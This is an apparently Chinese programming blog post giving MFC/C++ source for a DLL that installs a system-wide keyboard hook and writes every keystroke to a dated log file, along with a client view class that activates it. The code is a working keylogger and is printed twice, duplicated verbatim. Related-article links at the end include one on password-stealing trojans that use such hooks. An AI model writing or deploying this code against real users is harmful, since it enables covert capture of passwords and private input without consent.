创建记录键盘动作的全局钩子DLL
2010-12-24 15:50
344 查看
Hookkey中:
在Hookkey.h文件中:
#define DllExport __declspec(dllexport)
DllExport void WINAPI OutEv();//声明导出函数
在实现文件中:
#include"Hookkey.h"
HHOOK Hook;
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam);
void Savekey(char* c);
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
Savekey(c);
}
}
return Result;
}
void Savekey(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c://Program Fils//Key_%d_%d.log",tm.GetMonth(),tm.GetDay());//不知道地址有没有写错
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
DllExport void WINAPI OutEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Hookkey,theApp.m_hInstance,0);
}
在UseHookkey中:
已经将KeyHook.lib添加到project的link中,并且KeyHook.h .lib都已经复制到工程目录下, .dll复制到debug下
#include"KeyHook.h"
void CUseKeyHookView::OnInitialUpdate()
{
CEditView::OnInitialUpdate();
OutEv();
}
在Hookkey.h文件中:
#define DllExport __declspec(dllexport)
DllExport void WINAPI OutEv();//声明导出函数
在实现文件中:
#include"Hookkey.h"
HHOOK Hook;
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam);
void Savekey(char* c);
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
Savekey(c);
}
}
return Result;
}
void Savekey(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c://Program Fils//Key_%d_%d.log",tm.GetMonth(),tm.GetDay());//不知道地址有没有写错
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
DllExport void WINAPI OutEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Hookkey,theApp.m_hInstance,0);
}
在UseHookkey中:
已经将KeyHook.lib添加到project的link中,并且KeyHook.h .lib都已经复制到工程目录下, .dll复制到debug下
#include"KeyHook.h"
void CUseKeyHookView::OnInitialUpdate()
{
CEditView::OnInitialUpdate();
OutEv();
}
相关文章推荐
- VC++实现监视系统的键盘操作(2) 创建记录键盘动作的全局钩子DLL
- VC++实现监视系统的键盘操作 创建记录键盘动作的全局钩子DLL
- Windows全局钩子dll(键盘)
- 猎豹MFC--全局键盘钩子--盗号木马使用全局键盘钩子截获记录
- Windows全局钩子dll(键盘)
- 在使用一个全局底层键盘钩子dll时遇到的问题
- 不使用DLL创建全局系统钩子
- 使用DLL共享数据:用钩子记录键盘
- 不使用DLL创建全局系统钩子
- 写了一个好玩的小软件, 监视鼠标以及键盘的动作, 全局钩子. HowTired
- 用全局钩子截掉所有进程的鼠标和键盘 DLL的调试方法
- R3下设置全局钩子截获键盘记录
- 动态链接库dll键盘钩子后台记录代码示例
- 生成/创建 DLL 及调用/引用DLL里的函数、全局变量、静态C++类成员函数等
- 使用raw input 代替全局键盘钩子
- 创建全局钩子
- Windows 全局 鼠标 钩子 DLL
- 记录键盘的动作和敲击按键时的时间
- 全局键盘钩子开发实例
- VC下简易实现全局热键--无DLL无钩子(Register HotKey)